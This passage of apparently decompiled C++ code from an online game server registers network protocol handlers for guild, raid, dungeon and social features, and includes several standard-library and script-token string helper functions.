int))WorldManagerSession::wms_NC_GUILD_WORLD_RENAME_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 184, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_WORLD_RETYPE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 113, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_GRADE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 118, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_MEMBER_JOIN_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 119, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_MEMBER_LEAVE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 120, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_MASTER_TELEPORT_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 121, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_MEMBER_GUILD_JOIN_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 122, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_GUILD_BUFF_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 123, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_GUILD_ACADEMY_MASTER_BUFF_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 31, 19, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_ZONE_PRISON_GO_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 31, 18, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_ZONE_PRISON_END_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 35, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MISC_START_THE_BOOM_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 37, 50, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_HOLY_PROMISE_MY_UP_ZONE); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 37, 53, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_HOLY_PROMISE_MYUPPER_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 41, 2, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_INSTANCE_DUNGEON_DELETE_DUNGEON_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 41, 3, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_INSTANCE_DUNGEON_RESET_COUNTDOWN_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 48, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MID_GET_MAP_INFO_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 48, 3, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MID_MID_MAP_NAME_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 48, 4, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MID_MID_MAP_REWARD_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 48, 5, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MID_START_SCRIPT_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 48, 6, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MID_DESTROY_SCRIPT_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 48, 35, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MID_LINKTO_MID_IN_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 48, 38, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MID_LINKTO_MID_OUT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 178, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_WEDDING_CANCEL_WEDDING); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 199, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_TOURNAMENT_ZONE_MEMBERGRADE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 184, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_LINK_FROM_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 218, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_TOURNAMENT_ZONE_OBSERVER_ENTER_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 193, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_WORLD_USE_GUILD_TOKEN_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 227, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_TOURNAMENT_ZONE_JOIN_NEW_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 244, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_TOURNAMENT_GOLD_REFUND_ZONE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 44, 4, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_RAID_ZONE_MAKE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 44, 7, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_RAID_ZONE_DISMISS_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 44, 11, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_RAID_ZONE_LOOTING_TYPE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 44, 19, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_RAID_ZONE_MEMBER_JOIN_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 44, 23, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_RAID_ZONE_LEAVE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 44, 28, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_RAID_ZONE_VANISH_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 44, 42, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_RAID_ZONE_SLOT_MOVE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 44, 47, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_RAID_ZONE_SET_LEADER_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 44, 52, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_RAID_ZONE_SET_SUB_LEADER_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 44, 57, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_RAID_ZONE_DEL_SUB_LEADER_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 44, 62, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_RAID_ZONE_SET_LOOTER_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 44, 29, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShineObject::so_ply_AdminCommand); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 44, 31, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShineObject::so_ply_AdminCommand); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 203, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_GET_CHAT_BLOCK_SPAMER_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 45, 15, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_USER_CONNECTION_ZONE_CHANGE_CHAR_ID_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 134, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ACADEMY_REWARDSTORAGE_GRADE_INFO_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 101, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MISC_SPAMMER_ZONE_CHAT_BAN_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 221, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_COININFO_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 47, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GAMBLE_ZONE_PREVMAPNAME_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 47, 9, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GAMBLE_EXCHANGEDCOIN_INIT_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 106, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MISC_EVENTNPC_STANDSTART_ZONE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 107, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MISC_EVENTNPC_STANDEND_ZONE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 3, 69, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_USER_PROTECTION_FROM_GAME_ZONE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 21, 25, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_FRIEND_LIST_ZONE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 21, 26, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_FRIEND_ADD_ZONE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 21, 27, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_FRIEND_DEL_ZONE_CMD); } //----- (004BAF90) -------------------------------------------------------- void __thiscall PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(PROTOCOLFUNCTIONTEMPLETE *this) { char *v1; // ebx@1 void **v2; // esi@1 signed int v3; // edi@1 this->vfptr = (PROTOCOLFUNCTIONTEMPLETEVtbl *)&PROTOCOLFUNCTIONTEMPLETE::_vftable_; v1 = (char *)this->this; v2 = (void **)this->pft_funcpnt; v3 = 1024; do { if ( *v2 != v1 ) operator delete__(*v2); ++v2; --v3; } while ( v3 ); } // 650BB0: using guessed type int (__thiscall *PROTOCOLFUNCTIONTEMPLETE_void ___thiscall ZoneListenSession_____NETCOMMAND ______vftable_)(void *p, char); //----- (004BAFC0) -------------------------------------------------------- void *__thiscall PROTOCOLFUNCTIONTEMPLETE::_scalar_deleting_destructor_(PROTOCOLFUNCTIONTEMPLETE *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004BAFE0) -------------------------------------------------------- void __cdecl protocolstore(PROTOCOLFUNCTIONTEMPLETE *pf) { PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 4, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_MISC_HEARTBEAT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 5, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShineObject::so_LostSP); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 17, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_MISC_ZONERINGLINKTEST_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 104, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_CHAR_PLAYERSEARCH_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 106, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_CHAR_PLAYERSUMMON_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 105, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_CHAR_PLAYERFOUND_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 107, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_CHAR_KICKPLAYEROUT_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 108, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_CHAR_PLAYERBANNED_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 6, 16, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_MAP_EXPBONUS_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 6, 17, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_MAP_ITEMBONUS_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 147, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_GUILD_STORAGEWITHDRAW_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 85, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_ACT_WEDDING_COUPLE_ENTRANCE_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 149, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_CHAR_WEDDING_PARTNER_INFO_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 170, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_CHAR_WEDDING_PARTNER_SUMMON_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 171, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_CHAR_WEDDING_REFRESH_INFO_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 37, 54, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_HOLY_PROMISE_CENTRANSFER_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 173, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_CHAR_PLAYERSEARCH_BY_NORMAL_USER_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 174, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_CHAR_PLAYERFOUND_BY_NORMAL_USER_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 114, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 116, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 132, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 133, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 177, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_CHAR_EMPTY_INSTANCE_DUNGEON_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 41, 4, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_INSTANCE_DUNGEON_FIND_RNG); } //----- (004BB190) -------------------------------------------------------- void __thiscall std::locale::facet::_Incref(std::locale::facet *this) { std::locale::facet *v1; // esi@1 unsigned int v2; // eax@1 std::_Lockit _Lock; // [sp+0h] [bp-4h]@1 _Lock._Locktype = (int)this; v1 = this; std::_Lockit::_Lockit(&_Lock, 0); v2 = v1->_Refs; if ( v2 < 0xFFFFFFFF ) v1->_Refs = v2 + 1; std::_Lockit::__Lockit(&_Lock); } //----- (004BB1C0) -------------------------------------------------------- std::locale::facet *__thiscall std::locale::facet::_Decref(std::locale::facet *this) { std::locale::facet *v1; // esi@1 unsigned int v2; // eax@1 int v3; // esi@4 std::_Lockit _Lock; // [sp+0h] [bp-4h]@1 _Lock._Locktype = (int)this; v1 = this; std::_Lockit::_Lockit(&_Lock, 0); v2 = v1->_Refs; if ( v2 && v2 < 0xFFFFFFFF ) v1->_Refs = v2 - 1; v3 = ((v1->_Refs != 0) - 1) & (unsigned int)v1; std::_Lockit::__Lockit(&_Lock); return (std::locale::facet *)v3; } //----- (004BB220) -------------------------------------------------------- void *__thiscall std::locale::facet::_scalar_deleting_destructor_(std::locale::facet *this, unsigned int a2) { void *v2; // esi@1 v2 = this; this->vfptr = (std::locale::facetVtbl *)&std::locale::facet::_vftable_; if ( a2 & 1 ) operator delete(this); return v2; } // 689C6C: using guessed type int (__thiscall *std__locale__facet___vftable_)(void *p, char); //----- (004BB240) -------------------------------------------------------- std::locale *__thiscall std::ios_base::getloc(std::ios_base *this, std::locale *result) { std::locale v2; // esi@1 std::locale *v3; // edi@1 unsigned int v4; // eax@1 v2 = *this->_Ploc; v3 = result; *(_DWORD *)&result->___u0.baseclass_0.dummy[0] = v2; std::_Lockit::_Lockit((std::_Lockit *)&result, 0); v4 = *(_DWORD *)(*(_DWORD *)&v2 + 4); if ( v4 < 0xFFFFFFFF ) *(_DWORD *)(*(_DWORD *)&v2 + 4) = v4 + 1; std::_Lockit::__Lockit((std::_Lockit *)&result); return v3; } //----- (004BB280) -------------------------------------------------------- void *__thiscall std::ios_base::_vector_deleting_destructor_(std::ios_base *this, unsigned int a2) { void *v2; // esi@1 v2 = this; std::ios_base::_ios_base(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004BB2A0) -------------------------------------------------------- MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionNoBrain::mab_Think(MobTacticElement::MobActionNoBrain *this, MobTacticElement::MobActionArgument *argument) { return (MobTacticElement::MobActionBase *)this; } //----- (004BB2B0) -------------------------------------------------------- unsigned __int16 __cdecl ps_assert(unsigned __int16 condition, const char *message, const char *flag) { if ( !condition ) { if ( flag ) { AssertClass::ac_AssertFail(&shineassert, message, flag); return condition == 0; } AssertClass::ac_AssertFail(&shineassert, message, 1); } return condition == 0; } //----- (004BB300) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptToken::pst_ToLower(PineScriptToken *this) { PineScriptToken *result; // eax@1 unsigned int v2; // edx@1 char v3; // cl@2 char v4; // cl@6 char v5; // cl@10 char v6; // cl@14 result = this; v2 = 0; do { v3 = result->pst_Buffer[v2]; if ( !v3 ) break; if ( (unsigned __int8)v3 >= 0x41u && (unsigned __int8)v3 <= 0x5Au ) result->pst_Buffer[v2] = v3 + 32; v4 = result->pst_Buffer[v2 + 1]; if ( !v4 ) break; if ( (unsigned __int8)v4 >= 0x41u && (unsigned __int8)v4 <= 0x5Au ) result->pst_Buffer[v2 + 1] = v4 + 32; v5 = result->pst_Buffer[v2 + 2]; if ( !v5 ) break; if ( (unsigned __int8)v5 >= 0x41u && (unsigned __int8)v5 <= 0x5Au ) result->pst_Buffer[v2 + 2] = v5 + 32; v6 = result->pst_Buffer[v2 + 3]; if ( !v6 ) break; if ( (unsigned __int8)v6 >= 0x41u ) { if ( (unsigned __int8)v6 <= 0x5Au ) result->pst_Buffer[v2 + 3] = v6 + 32; } v2 += 4; } while ( v2 < 0x100 ); return result; } //----- (004BB380) -------------------------------------------------------- void __thiscall PineScriptToken::PineScriptToken(PineScriptToken *this, char *name) { char *v2; // edx@1 char v3; // bl@2 v2 = name; do { v3 = *v2; v2[(char *)this - name] = *v2; ++v2; } while ( v3 ); } //----- (004BB3A0) -------------------------------------------------------- void __thiscall PineScriptToken::PineScriptToken(PineScriptToken *this, int number) { sprintf(this->pst_Buffer, "%d"); } //----- (004BB3C0) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptToken::pst_Clear(PineScriptToken *this) { PineScriptToken *result; // eax@1 result = this; this->pst_Buffer[0] = 0; return result; } //----- (004BB3D0) -------------------------------------------------------- unsigned __int16 __thiscall PineScriptToken::pst_RemoveQuatator(PineScriptToken *this) { PineScriptToken *v1; // esi@1 unsigned __int16 result; // ax@2 PineScriptToken *v3; // eax@3 char *v4; // edx@3 char v5; // cl@4 int v6; // edi@5 v1 = this; if ( this->pst_Buffer[0] == 34 ) { v3 = this; v4 = &this->pst_Buffer[1]; do { v5 = v3->pst_Buffer[0]; v3 = (PineScriptToken *)((char *)v3 + 1); } while ( v5 ); v6 = (char *)v3 - v4; if ( *((_BYTE *)v1 + (char *)v3 - v4 - 1) == 34 ) { strncpy(v1->pst_Buffer, &v1->pst_Buffer[1], v6 - 2); *((_BYTE *)v1 + v6 - 2) = 0; result = 1; } else { result = 0; } } else { result = 0; } return result; } //----- (004BB420) -------------------------------------------------------- int __thiscall PineScriptToken::pst_GetNumber(PineScriptToken *this, unsigned __int16 cut) { signed int v2; // esi@1 int result; // eax@1 unsigned int i; // edi@1 char v5; // dl@2 v2 = 1; result = 0; for ( i = strlen(this->pst_Buffer) - 1; (i & 0x80000000u) == 0; --i ) { v5 = this->pst_Buffer[i]; if ( (unsigned __int8)v5 < 0x30u ) break; if ( (unsigned __int8)v5 > 0x39u ) break; result += v2 * ((unsigned __int8)v5 - 48); v2 *= 10; } if ( cut ) this->pst_Buffer[i + 1] = 0; return result; } //----- (004BB480) -------------------------------------------------------- char __thiscall PineScriptToken::pst_GetChar(PineScriptToken *this, int num) { return this->pst_Buffer[num]; } //----- (004BB490) -------------------------------------------------------- void __thiscall PineScriptToken::pst_SetChar(PineScriptToken *this, int num, int chr) { this->pst_Buffer[num] = chr; } //----- (004BB4A0) -------------------------------------------------------- unsigned __int16 __thiscall PineScriptToken::operator__(PineScriptToken *this, char *str) { int v2; // kr00_4@1 unsigned __int16 result; // ax@2 v2 = strcmp(this->pst_Buffer, str); if ( v2 ) result = -(v2 < 0) - ((v2 < 0) - 1); else result = 0; return result; } //----- (004BB4E0) -------------------------------------------------------- unsigned __int16 __thiscall PineScriptToken::operator__(PineScriptToken *this, char *str) { unsigned __int16 result; // ax@2 if ( strcmp(this->pst_Buffer, str) ) result = 0; else result = 1; return result; } //----- (004BB540) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptToken::pst_Merge(PineScriptToken *this, PineScriptToken *sst) { PineScriptToken *result; // eax@1 result = this; strcat(this->pst_Buffer, sst->pst_Buffer); return result; } //----- (004BB580) -------------------------------------------------------- void __thiscall PineEventScriptNode::CalculateOperator::_CalculateOperator(PineEventScriptNode::CompareOperator *this) { this->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; } // 650BB4: using guessed type int (*PineEventScriptNode__ScriptAtom___vftable_)(); //----- (004BB590) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncRand::SysFuncRand(PineEventScriptNode::SysFuncRand *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncRand::_vftable_; } // 650BE8: using guessed type int (__stdcall *PineEventScriptNode__SysFuncRand___vftable_[27])(int buffer, int ps, int argumentlist); //----- (004BB5A0) -------------------------------------------------------- void __thiscall 